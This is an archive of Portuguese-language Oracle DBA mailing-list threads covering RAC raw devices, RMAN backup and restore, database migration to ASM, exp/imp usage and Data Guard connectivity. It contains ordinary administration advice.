SO para que eu controle este crescimento ? Um exemplo: Se tenho uma LUN criada com EXT3, consigo dar um DF -H e verificar o crescimento dos espaço mas, via RAW DEVICE ou BLOCK DEVICE, via SO teria como ? Quem sabe, talvez, algum script baseado em udev ou via um LVM. Mas eu não saberia informar 100%. Conversando com o pessoal de Storage/SO eles devem saber informar melhor. Sucesso, Anderson Haertel Rodrigues Consultor Oracle Porto Alegre/RS --- Em seg, 14/6/10, ammorrimm ammorr...@... escreveu: De: ammorrimm ammorr...@... Assunto: [oracle_br] Re: Dúvidas Oracle X Raw DEvice Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 14 de Junho de 2010, 8:07 Então... Sim. A idéia era criar grupos ASM é disponibiliza-los para os Arc, exemplo: +ARCH1, +ARCH2...tudo ASM... Mas como verifico a escalabilidade dos mesmos ? Como posso saber via SO (pq sei que da pra verificar via OEM) que estes meus grupos de ASM estão enchendo ou ainda estão com bom espaço em disco ? Mesmo que eu migre para block devices, existe alguma ferramenta de SO para que eu controle este crescimento ? Um exemplo: Se tenho uma LUN criada com EXT3, consigo dar um DF -H e verificar o crescimento dos espaço mas, via RAW DEVICE ou BLOCK DEVICE, via SO teria como ? --- Em oracle_br@yahoogrupos.com.br, Anderson Haertel Rodrigues anderson_hr_listas@ escreveu Buenas, Em 11g Raw devices foi descontinuado. Ainda neste sentido, se usa o UDEV como workaround em RH5, por exemplo. Dê uma olhada nisso, amigo! Outra informação, mesmo de forma pura não era possível colocar archives em raw devices diretamente, precisava ter o ASM, OCFS ou ser um FS de Sistema Operacional. Sucesso, Anderson Haertel Rodrigues Consultor Oracle Porto Alegre/RS --- Em seg, 7/6/10, ammorrimm ammorrimm@ escreveu: De: ammorrimm ammorrimm@ Assunto: [oracle_br] Dúvidas Oracle X Raw DEvice Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 7 de Junho de 2010, 12:16 Grande dia colegas, EStou finalizando os estudos para implantar o Oracel RAC 11.1.0.6 em minha empresa mas fiquei ná duvida sobre a criação dos RAW para os Archives... Minha equipe de SO não tem muito conhecimento sobre a manipulação de Raws e fiquei na dúvida quanto a geração dos archives (crscimento dos mesmos, espaço utilizado e etc.) em raw... Via EXT3 consigo ver a evolução do crescimento...ate mesmo intervindo caso algo dê errado...mas com RAWs, como faço isso ? Não posso utilizar um DF -h por exemplo !! E se meu RAW destinado aos ARCH encher ? como verifico este crscimento bem como a exclusão de arch´s(em uma medida emergencial) caso elas crescam demais ? Estas seriam as dúvidas...sobre a manipulação de RAWs No caso do RAC, pensei ate mesmo em colocar os archives em EXT3 afim de visualizar o crescimento dos mesmos mas fiquei receoso de todo o banco estar em RAW e os archives estarem em EXT3... -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função »
Re: [oracle_br] Ajudinha RAC - CRS-1006:The OCR location /dev/raw/raw1 is inaccessible.
Verifique se os raw devices estão configurados corretamente, com as devidas permissões configuradas e persistentes após um reboot. Se você já fez uma tentativa de instalação anterior, deve limpar estes devices usando dd e seguir outros passos descritos em note no metalink pra remover completamente o clusterware. Verifique o ping dos nodenames publico e privado. Caso nada disso resolva, use o note a seguir para encontrar mais detalhes sobre a execução do root.sh: How to Debug root.sh Problems when Installing CRS 10.2 and 11.1 Release [ID 443418.1] 2010/6/8 candiurudba candiuru...@yahoo.com.br: Boa tarde colegas, Uma ajudinha... Já estou martelando a solução deste problema algum tempo mas não consegui a solução... Estou tentando fazer a instalação do RAC 11.1.0.6 em um Red Hat 5.2 e estou encontrando diversos problemas.. O primeiro problema se da na execução do root.sh no segundo nó...ele me exibe a mensagem: Failure at final check of Oracle CRS stack. 10 e apesar de ser um erro conhecido de instalação RAC, em tudo que li não consegui soluciona-lo. Reinicie os servidores e fiz uma nova verificação e estou tomando o erro: CRS-1006:The OCR location /dev/raw/raw1 is inaccessible. Details in /u01/app/crs/11.1.0/crs_1/log/rac1/client/css3.log. Onde temos: crw-r- 1 oracle dba 162, 1 Jun 8 15:43 /dev/raw/raw1 crw-r- 1 oracle dba 162, 2 Jun 8 15:43 /dev/raw/raw2 crw-r- 1 oracle dba 162, 3 Jun 8 15:43 /dev/raw/raw3 crw-r- 1 oracle dba 162, 4 Jun 8 15:43 /dev/raw/raw4 crw-r- 1 oracle dba 162, 5 Jun 8 15:43 /dev/raw/raw5 crw-r- 1 oracle dba 162, 6 Jun 8 15:43 /dev/raw/raw6 Temos tambem: [r...@rac1 rac1]# ps -ef | grep init root 1 0 0 15:42 ? 00:00:01 init [5] root 5828 1 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.evmd run root 5829 1 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.cssd fatal root 5830 1 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.crsd run root 5913 5828 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.cssd startcheck root 5983 5829 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.cssd startcheck root 6199 5830 0 15:43 ? 00:00:00 /bin/sh /etc/init.d/init.cssd startcheck root 8995 6874 0 16:06 pts/1 00:00:00 grep init [r...@rac1 rac1]# Todos estão com o STARTCHECK... Alguem teria uma luz ? Somente lembrando que o raw1 (OCR) raw2 (VOTING) -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Consulta lenta
Fabiano, por acaso você conecta neste banco usando SQL Server? Tem cara de ser alguma API ODBC ou OLE DB mapeando seu dicionário de dados. Não parece ser coisa interna do Oracle, pois ele usaria views v$, tab$, etc. 2010/6/9 Fabiano P. fabiano...@gmail.com: Estou consultando SQL lentos do banco de dados e sempre esta aparecendo uma consulta Exemplo: ela muda as variáveis mais é sempre a mesma SELECT * FROM (SELECT NULL TABLE_CATALOG, ac.owner TABLE_SCHEMA, ac.table_name TABLE_NAME, acc.column_name COLUMN_NAME, NULL COLUMN_GUID, NULL COLUMN_PROPID, acc.position ORDINAL FROM all_constraints ac, all_cons_columns acc WHERE ac.owner = acc.owner AND ac.table_name = acc.table_name AND ac.constraint_type = 'P' AND ac.constraint_name = acc.constraint_name ) DBSCHEMA_PRIMARY_KEYS WHERE TABLE_SCHEMA = 'SAG' AND TABLE_NAME = 'POCAMVPE' ORDER BY 3, 4select * FROM (SELECT NULL TABLE_CATALOG, ac.owner TABLE_SCHEMA, ac.table_name TABLE_NAME, acc.column_name COLUMN_NAME, NULL COLUMN_GUID, NULL COLUMN_PROPID, acc.position ORDINAL FROM all_constraints ac, all_cons_columns acc WHERE ac.owner = acc.owner AND ac.table_name = acc.table_name AND ac.constraint_type = 'P' AND ac.constraint_name = acc.constraint_name ) DBSCHEMA_PRIMARY_KEYS WHERE TABLE_SCHEMA = 'SAG' AND TABLE_NAME = 'POCAMVPE' ORDER BY 3, 4 É normal executar sempre essa consulta? alguem sabe o que pode ser?, qualquer dica me ajuda, pois muitas telas do sistema estao lentao por calsa disso, lembrando que só acontece com a versão 11g do Oracle, pode ser coincidencia mas.. Bando de Dados: Oracle 11R2 Plataforma: Linux REDHAT 5 -- Fabiano P. Fone: (46) 9113-6731 E-Mail: fabiano...@gmail.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Restore RMAN
No 10g, você pode recuperar seu backup com outro nome usando o duplicate target database to Procure no google que você vai achar vários exemplos. No 11g já seria mais fácil, pois você nao precisaria de um backup para fazer o clone, você poderia fazer usando a new feature duplicate from active database. 2010/5/18 Diego Leite diegoleit...@gmail.com: Reginaldo, ve se te ajuda http://www.youngcow.net/doc/oracle10g/backup.102/b14191/rcmrecov002.htm -- Att, Diego Leite DBA ORACLE Em 18 de maio de 2010 14:56, Reginaldo de Faveri regina...@softplan.com.brescreveu: Olá senhores boa tarde? Sempre que precisamos criar uma base a partir de outra (em outro servidor) fazemos um backup via RMAN, criamos uma instancia com o mesmo nome original assim como o mesmo caminho. Após o restore, renomeamos a mesma e, quando necessário ajustamos o caminho. Ocorre que gostaria de fazer isto de modo direto tipo um restore onde pudesse já informar o nome da nova base bem como o seu novo caminho. (Lembro que os servidores (da base origem e da nova base) não tem comunicação. Atualmente é feito um backup, baixado via FTP e copiado para o outro servidor. Procurei seguir os materiais que tenho assim como o Google mas não consegui. Alguém teria uma receita de bolo? Estou usando Oracle Standard 10.2.0.3 [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] backup feito através do rman não r oda
Wendel, Você usa só esse script de backup? Isso é backup incremental nível 1, não serve pra recover a menos que tenhas o mais recente backup nível 0 guardado, cuidado com isso! Tendo isso em mente, podias explicar pra gente como você automatizou esse backup... crontab? As variaveis de ambiente (ORACLE_HOME, ORACLE_SID, PATH) estão definidas corretamente no script? Você ja verificou se aparece alguma mensagem de erro no /var/log/messages? Direcionou a saida da execução para algum arquivo de log para verificar se retorna algum erro? O Script roda com o usuario oracle? Att Ivan 2010/4/22 Wendel Muniz de Oliveira womu...@gmail.com: Oi pessoal , estou com o seguinte problema tenho um script de backup via rman que não executa automaticamente, ele executa somente se eu chamar o script manualmente. O mais estranho é que estava funcionado, de um mes para ca, parou de funcionar. os scripts são os seguintes --script que chama o rman #!/bin/bash export DIR_BACKUP=/u02/backup/rman export DIR_CFILE=/u02/backup/controlfile export DIR_BCKDFILES=/u02/backup/bckdfile #DATA=`date +%Y%m%d` #pega data atual sem barras $ORACLE_HOME/bin/rman target / @'/home/oracle/scripts/bckrmandisco.cmd' --script executado pelo rman run { backup incremental level 1 cumulative database; backup current controlfile; } um fato importante é que antes o backup era por fita, ai parei de fazer por problemas na library do backup, mudei para disco funcionou um tempo ai nao mais. outro detalhe é que um script que mandava pra fita ficou rodando por um tempo ocasionando sucessivas msgs de erro no em. SO: red hat 4 VERSAO BANCO: 10.2.0.4 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] backup feito através do rman não r oda
A contab está rodando? Sugiro debugar aos poucos, que tal seguir o roteiro: 1) criar um script que dá um echo aaa num arquivo em /tmp/teste e colocá-lo na crontab 2) alterar o script para conectar no banco via sqlplus e executar algo: sqlplus / as sysdba EOF spool /tmp/teste select sysdate from dual; spool off exit EOF 3) testar o rman: rman target / EOF show all; exit EOF 4) ... 2010/4/23 Wendel Muniz de Oliveira womu...@gmail.com: Obrigado pela dica do incremental nao tinha atentado para isto. Eu automatizei pelo crontab, as variáveis de ambiente são setadas dentro do script chamado pelo crontab,já foram verificadas. A chamada no cron esta sendo feita da seguinte forma: su - oracle -c /home/oracle/scripts/bckrmandisco /u02/backup/rman/log.txt não retorna nada no log em /var/log/messages não aparece nada também. Em 23 de abril de 2010 09:21, Ivan Ricardo Schuster ivanr...@gmail.comescreveu: Wendel, Você usa só esse script de backup? Isso é backup incremental nível 1, não serve pra recover a menos que tenhas o mais recente backup nível 0 guardado, cuidado com isso! Tendo isso em mente, podias explicar pra gente como você automatizou esse backup... crontab? As variaveis de ambiente (ORACLE_HOME, ORACLE_SID, PATH) estão definidas corretamente no script? Você ja verificou se aparece alguma mensagem de erro no /var/log/messages? Direcionou a saida da execução para algum arquivo de log para verificar se retorna algum erro? O Script roda com o usuario oracle? Att Ivan 2010/4/22 Wendel Muniz de Oliveira womu...@gmail.comwomuniz%40gmail.com : Oi pessoal , estou com o seguinte problema tenho um script de backup via rman que não executa automaticamente, ele executa somente se eu chamar o script manualmente. O mais estranho é que estava funcionado, de um mes para ca, parou de funcionar. os scripts são os seguintes --script que chama o rman #!/bin/bash export DIR_BACKUP=/u02/backup/rman export DIR_CFILE=/u02/backup/controlfile export DIR_BCKDFILES=/u02/backup/bckdfile #DATA=`date +%Y%m%d` #pega data atual sem barras $ORACLE_HOME/bin/rman target / @'/home/oracle/scripts/bckrmandisco.cmd' --script executado pelo rman run { backup incremental level 1 cumulative database; backup current controlfile; } um fato importante é que antes o backup era por fita, ai parei de fazer por problemas na library do backup, mudei para disco funcionou um tempo ai nao mais. outro detalhe é que um script que mandava pra fita ficou rodando por um tempo ocasionando sucessivas msgs de erro no em. SO: red hat 4 VERSAO BANCO: 10.2.0.4 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Migração de base de dados gran de
Raul Um note que pode te ajudar bastante: Best Practices to Minimize Downtime During Upgrade [ID 455744.1] Este note ja aborda praticamente tudo o que você precisa para passar de 9i para 10g com o mínimo de downtime. Além disso, o que pega na tua migração é a transferencia dos dados de FS para ASM. Vejo duas opções para contornar isso: 1) Migrar inicialmente para FS, depois com RMAN transferir os datafiles para ASM via backup as copy. Ao final, fazer o switch para a copia - Neste caso você precisa de mais espaço em disco. 2) Fazer upgrade na maquina atual. Criar no RAC um standby do banco de produção atual usando ASM. Baixar o banco atual, aplicar os archives restantes e subir o standby RAC como produção. Pra qualquer um dos cenários, muito teste! att Ivan R. Schuster OCP 10g/11g OCE RAC 2010/4/8 Duilio Bruniera Junior bruni...@gmail.com: E ai bunitão da pra fazer export e import compactado com pipe isso se o seu sistema operacional for um Linux ou Unix. voce gera o dump ja compactado. sai mais ou menos umas 7 menor que o tamanho original, se tiver interessado me da um toque eu te mando o script de como fazer! porem o seu downtime sera maior doque se voce fizer um upgrade. Em 8 de abril de 2010 17:45, José Laurindo jlchia...@yahoo.com.brescreveu: Colega, se é outro equipamento, E (obviamente) deve haver comunicação de rede entre os dois, sem criar arqs intermediários grandes, uma opção que salta aos olhos em primeiro lugar é vc instalar os binários , criar uma instância 10g, criar um database vazio, criar as estruturas do 9i nele e trazer os dados do bd original : criar a estrutura seria um export com ROWS=N CONSTRAINTS=N INDEXES=N (isso ocuparia uns poucos Mbs, um export sem dados é bem pequeno), e depois ir trazendo os dados (via INSERT /*+ APPEND */ into tabela select * from tab...@dblinkparao9i , pequenos exports feitos a partir do 10g conectando no 9i via dblink, E quando os dados estarem ok aí vc executa um script que crie os índices em parallel e nologging e crie as constraints SEM validar os dados (que vc já sabe que estão bons) - via de regra essa opção é bem rápida, em especial se a sua rede e o I/O são bons, vc pod ter várias sessões trazendo dados do 9i ao mesmo tempo... Pra te ajudar a extrair os scripts de criação de estruturas, índices e constraints vc pode usar o freeware DDL Wizard em http://ddlwizard.com/ . E é claro, ainda sem trafegar grandes arqs, vc Não vai deixar de mensurar as outras possibilidades já citadas na thread por ouros colegas, como voltar um backup do RMAN no novo servidor (ele tem comandos para fazer o upgrade dos arqs), se for em fita e a fita puder ser atachada no novo server Se nenhuma das duas outras possibilidades for viável, aí caímos na necessidade de se Transferir os arquivos do 9i pro 10g e lá fazer o upgrade/conversão deles, via de regra isso deve ser um pouco mais demorado... O resumo da ópera é , então, é : no SEU ambiente, teste quanto tempo leva (sob condições ótimas, com o mínimo de usuários usando, com Parallel DML ativo, com db_file_multiblock_read_count no talo máximo, etc) quanto tempo leva um INSERT /*+ APPEND */ via dblink, quanto tempo leva o restore dos maiores arqs e quanto tempo leva a transferência de arqs via rede (o upgrade/conversão é rapidinho) , que aí vc terá condição de dizer qual é o melhor em tempo ... É claro, vc TEM que dar uma gordurinha na sua estimativa total clause ativada seja qual for o método (pois no caso de INSERT vc terá que rebuildar os índices, no caso de conversão de datafiles normalmente após o STARTUP UPGRADE vc tem que recriar parte do dicionário/catálogo, recompilar objs inválidos, E no seu caso sendo 32 - 64 bits a conversão vai ter que recompilar PL/SQLs)... Blz ? []s Chiappa --- Em oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br, Raul Francisco Costa F. de Andrade, DBA raulf...@... escreveu Grande Chiappa!!! Mais uma vez obrigado pelo interesse em responder/ajudar. Então os dados que não falei: São no mesmo SO, porém em servidores diferentes, e ainda no 9i está em estrutura de FS e na 10G vai para RAC com ASM. Ah também vão de 32 para 64 bits. Att. Raul Em 8 de abril de 2010 14:21, José Laurindo jlchia...@...escreveu: Bem, vc não dá os detalhes cruciais (ie, se é migração pro mesmo servidor ou pra um outro, os Sistemas Operacionais exatos envolvidos e características de hardware se forem servers diferentes), mas de modo geral : a) se for no mesmo servidor E no mesmo SO/etc, sem dúvida a maneira mais fácil é vc fazer a migração (ie, a Conversão) desse banco de dados pra 10g (só lembrando, a definição de banco de dados é que ele é a soma dos ARQUIVOS, como datafiles, controlfiles, redo files, etc, e a Instância são os binários, fazendo a Instância ler os arqs vc tem um banco Aberto). O procedimento é relativamente simples, vc instala os binários 10g,
Re: [oracle_br] Analise do Banco
2 - Fala um select na DBA_TABLES ou USER_TABLES, listado o nome do objeto e o número de rows. Só garanta que as estatísticas estão atualizadas antes e depois da migração. att Ivan R. Schuster OCP 10g/11g OCE RAC 2010/4/9 Lourival Rodrigues Cruz t_l...@cpqd.com.br: Duas formas : 1 - Faça export e import com o parâmetro LOG, ele irá registrar as tabela e o quantidade de registros para cada. 2 - Fala um select na DBA_TABLES ou USER_TABLES, listado o nome do objeto e o número de rows. -Mensagem original- De: oracle_br@yahoogrupos.com.br em nome de Thiago Gomes Enviada: sex 9/4/2010 08:13 Para: oracle_br@yahoogrupos.com.br Cc: Assunto: [oracle_br] Analise do Banco Gente, Como posso saber a quantidade de tabelas em um banco ficou igual ao banco de origem depois do comando imp. O mesmo mostrou erro em duas tabelas. Porem gostaria de saber se no meu banco original tem X tabelas usadas, ou seja qnt de ROWS igual ao meu outro banco restaurado Tem como ?? -- Thiago Gomes [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Exportar e Importar uma tabelas especificas
Crie no banco destino tabelas com o nome da que você não quer importar, e no comando imp use ignore=y 2010/4/9 José Laurindo jlchia...@yahoo.com.br: Com o expdp (o novo utilitário 10g) sim, já com o exp antigo não, nele o que vc faria é criar um arquivo tabelas.par com o conteúdo : TABLEs= nomedatabela1, nomedatabela2, nomedatabelan sem as tabs que quer e fazer : exp parametrosoutros parfile=tabelas.par []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Thiago Gomes thiagome...@... escreveu Pessoal, existe possibilidade de eu exportar ou importar todas as tabelas menos duas tabelas? ou seja, não quero importar duas tabelas especificas. Obrigado Em 8 de abril de 2010 14:27, Marcos Braga braga.mar...@... escreveu: Thiago, Complementando... Tem alguns exemplos nesta página: http://sites.google.com/site/universodobraga/oracle/datapump []s Braga Em 8 de abril de 2010 12:05, Thiago Gomes thiagome...@...thiagomespb%40gmail.com escreveu: Pessoal, Desculpe se a pergunta é basica, mas estou no començo do oracle.. alguem sabe com faço para exportar e importar somente uma tabela. Eu fazer usando todas as tabelas. com esse comando. Exportar exp senha/se...@dados file=d:\oracle_bkp\backup.dmp log=d:\oracle_bkp\backup.dmp.log owner=senha compress=Y grants=Y indexes=Y triggers=Y constraints=Y Importar imp senha/se...@dados file=backup.dmp log=arquivo.log fromuser=senha touser=senha COMMIT=y Buffer=20 Qual seria somente uma ou somente algumas especificas ?? -- Thiago Gomes [As partes desta mensagem que não continham texto foram removidas] -- Thiago Gomes [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Implementacao nó Interestadual - Or acle RAC
Se é que o assunto ainda não está resolvido, vou dar pitaco. Não vejo muito sentido em se ter um RAC de dois nós em sites diferentes e um único storage compartilhado. Onde ficará este storage? Lembre que será um ponto único de falha! Outra coisa, depende muito o que você chama de Interestadual. Qual a distancia? Isso influi muito no resultado e principalmente no custo da solução. Tem diversos papers na internet sobre o assunto, mas resumindo, você quer ter RAC em dois sites? Tenha: - Storage local em cada um dos sites, bem configurado (estude bem 11g NF) - Rede de alta disponibilidade, velocidade, baixa latência, etc. - Pesquise no google: rac extended distance Abraço Ivan 2010/3/25 Anderson Haertel Rodrigues anderson_hr_lis...@yahoo.com.br: Ola Mosan, A maioria das implementações RAC que realizei e vi são em 02 nós. O conceito citado dos 60% ou mais está correto, correto mesmo, mas as custas de um terceiro/quarto servidor também é relevante e importante para os clientes. Particularmente, em 05 anos de uso do RAC, vi pouquíssimas vezes um nó cair e ficar fora por mais de um dia nessa linha então, 02 nós para eu não é todo ruim. Um abraço, Anderson Haertel Rodrigues Consultor Oracle OCP 9i/10g OCE RAC 10g Porto Alegre/RS --- Em sex, 12/3/10, Mosan Santos mosansan...@yahoo.com.br escreveu: De: Mosan Santos mosansan...@yahoo.com.br Assunto: Re: [oracle_br] Implementacao nó Interestadual - Oracle RAC Para: oracle_br@yahoogrupos.com.br Data: Sexta-feira, 12 de Março de 2010, 12:42 Amigo; Só uma ideia. RAC de dois nós pode lhe gerar surpresas desagradáveis. É muito importante um estudo de carga das CPUs e dos links caso um nó venha a cair. A pergunta é mais ou menos essa: Tenho dois nós, cada um operando em dado momento com 60% de carga na CPU quando o nó A cair. Qual é a carga resultante no nó B. (além de outros itens) No grupo existem várias pessoas certificadas em RAC que poderão lhe esclarecer essa situação. Ou se meu ponto de vista não está totalmente correto. Grande abraço Mosán Santos __ OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER LPI -I - Novell CLA Novell DataCenter Specialist OCM ..LOAD __ Se vovê acha que não, pode, você não pode., Se você aha ue pode, você pode. --- Em sex, 12/3/10, candiurudba candiuru...@yahoo.com.br escreveu: De: candiurudba candiuru...@yahoo.com.br Assunto: [oracle_br] Implementacao nó Interestadual - Oracle RAC Para: oracle_br@yahoogrupos.com.br Data: Sexta-feira, 12 de Março de 2010, 11:19 Bom dia colegas, Tenho uma pequena dúvida... Iniciei os estudos para a implantação do Oracle RAC (2 nos) aqui na empresa...ja estou em fase de testes mas andei lendo em alguns lugars, a implementacao de nos do RAC para redes remotas. Um outras palavras, longe dos outros nos e do storage compartilhado. Isso e possivel ? E como fica a conexao Giga entre os servidores ? agradeco a luz Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO
Re: [oracle_br] Oracle 11g R2 para Solaris
O 11gR2 não é um patch nem um patchset, é uma nova release. Você encontra ele diretamente na pagina de downloads da Oracle http://www.oracle.com/technology/software/products/database/oracle11g/112010_sparc64soft.html 2009/12/16 Alex Oracle alex80.li...@yahoo.com.br: Olá pessoal, estive procurando no Support para baixar o patch 11gR2 para Solaris Sparc64 mas não consegui localizar. Esse release está disponível apenas para alguns SOs ou estou pesquisando errado? Obrigado. Alex Veja quais são os assuntos do momento no Yahoo! +Buscados http://br.maisbuscados.yahoo.com -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Mudar a data e a hora do servidor Oracle.
Recomendo parar o banco, principalmente com uma alteracao tão grande. Dependendo de qual for a estrutura do seu banco (aplicação), você pode ter problemas, a menos que deixe seu banco parado um dia e duas horas, pense que voltando 1 dia e duas horas, para o banco é como se este dia se repetisse. Parando o banco, você usa comandos do SO. 2009/8/19 Marcelo Procksch marceloprock...@gmail.com: Oracle Database 10g Release 10.2.0.1.0 - Production PL/SQL Release 10.2.0.1.0 - Production CORE 10.2.0.1.0 Production TNS for Linux: Version 10.2.0.1.0 - Production NLSRTL Version 10.2.0.1.0 - Production SO. Centos 5. Boa Tarde! Qual o procedimento correto para mudar a data e a hora de um servidor que tem o Oracle instalado? No caso eu quero atrasar a data em um dia e duas horas. Obrigado Marcelo -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] oracle + vm
É possivel que a sua maquina fisica não esteja dando conta das tres maquinas? Se não for o caso, você pode tentar o seguinte: 1 - configurar o tnsnames corretamente na maquina 1 e 2 2 - dar tnsping da maquina 1 na instancia 1 3 - dar tnsping da maquina 2 na instancia 1 4 - tentar conectar no banco pela maquina 1 usando o tnsnames 5 - tentar conectar no banco pela maquina 2 usando o tnsnames OBS: maquina 1=maquina do banco maquina 2=maquina do dataguard 2009/8/7 Marcos Braga braga.mar...@gmail.com: Você está resolvendo por hostname ou ip ?? E no tnsnames.ora, como está? hostname ou ip? []s Braga 2009/8/7 orfeu lima orfe...@hotmail.com sistema operacional - windows xp versao do oracle - oracle 10.0.2 To: oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br From: braga.mar...@gmail.com braga.marcos%40gmail.com Date: Fri, 7 Aug 2009 10:01:01 -0300 Subject: Re: [oracle_br] oracle + vm Oi Orfeu, Efetuei os testes iniciais do dataguard com duas VM e funcionou tudo corretamente. Vamos aos pequenos detalhes: 1. Qual sistema operacional está utilizando? 2. Qual a versão do Oracle que está instalado? Já que as duas estão pingando, deve ser algum detalhe. []s Braga 2009/8/7 orfeu lima orfe...@hotmail.com orfeuml%40hotmail.com Srs, criei dois servidores(vm) em minha maquina para poder instalar e configurar o data guard(fisico e broken), no entanto não estou conseguindo fazer com que os bancos se falem entre si. As máquinas estão pingando normalmente(rede), mas os bancos não, dando o erro TNS-12535. Alguém já fez tal operação que pudesse me dar uma força. obrigado [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - 